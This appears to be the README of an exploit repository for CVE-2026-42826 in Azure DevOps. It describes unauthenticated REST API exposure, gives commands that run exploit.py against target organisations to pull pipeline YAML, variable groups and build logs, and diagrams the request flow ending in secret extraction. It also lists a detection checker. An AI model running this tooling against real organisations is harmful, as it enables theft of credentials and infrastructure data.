
Exploits CVE-2026-42826 to enumerate and extract sensitive Azure DevOps data via unauthenticated REST API requests: pipeline YAML, variable groups, service connections, and build logs.
| Field | Value |
|---|---|
| CVE | CVE-2026-42826 |
| CVSS | 10.0 Critical (Microsoft) / 7.5 High (NVD) |
| CWE | CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) |
| GHSA | GHSA-gmwx-3xm2-9fx8 |
| Affected | Azure DevOps Services, Azure DevOps Server 2022/2025 |
| Patched | Azure DevOps Server 2026.0.1+ (Services patched server-side) |
| Discoverer | Noa Royzman (Microsoft) |
Azure DevOps can serve pipeline configuration, variable group contents, and build artifacts to unauthenticated HTTP requests under certain conditions. A remote attacker sends crafted requests to the Azure DevOps REST API and receives JSON responses containing:
No credentials are required when the target project is configured for public visibility, or when an internal API endpoint fails to enforce authentication checks before returning data.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — 10.0 Critical
Organizations with public projects enabled expose repos, pipelines, artifacts, and work items to the unauthenticated internet.
Specific internal API endpoints fail to enforce authentication checks before returning sensitive data.
Public project pipeline YAML files reference service connections by name and variable groups by name, revealing Azure subscription structure, deployment targets, registry URLs, and environment names.
Service connection metadata (Azure subscription IDs, tenant IDs, Kubernetes cluster IDs) is exposed via the API.
Non-secret variable values are visible in the UI, returned by the API, and printed to build logs.
Build logs may contain sensitive configuration data, environment variables, and infrastructure details.
| File | Purpose |
|---|---|
exploit.py | Main exploit — 6 attack vectors, secret scanning, report generation |
detect.py | Detection & hardening checker for Azure DevOps instances |
test_exploit.py | Unit tests (30+ tests validating all exploit functionality) |
| Document | Content |
|---|---|
| USAGE.md | Detailed usage guide with step-by-step instructions |
| DIAGRAM.md | Structure diagrams and attack flow visualization |
# Check if organization has publicly exposed projects
python3 exploit.py -u https://dev.azure.com/targetorg
# Full exploitation with Personal Access Token
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT_TOKEN
# Target specific project
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT --project MyProject
# Save report to file
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT -o report.json
python3 exploit.py -u https://tfs.company.local/tfs/DefaultCollection --pat YOUR_PAT
python3 detect.py -u https://dev.azure.com/targetorg --pat YOUR_PAT
python3 test_exploit.py
Attacker Azure DevOps API
│ │
│ GET /_apis/projects │
│ (no auth) │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { projects: [...] } │
│ ◄────────────────────── │
│ │
│ GET /proj/_apis/ │
│ pipelines │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { YAML configs } │
│ ◄────────────────────── │
│ │
│ GET /proj/_apis/ │
│ variablegroups │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { variables: {...} } │
│ ◄────────────────────── │
│ │
│ Extract secrets, │
│ map infrastructure │
│ │
See DIAGRAM.md for full architecture diagrams.
Code (Read) with 90-day expiryMIT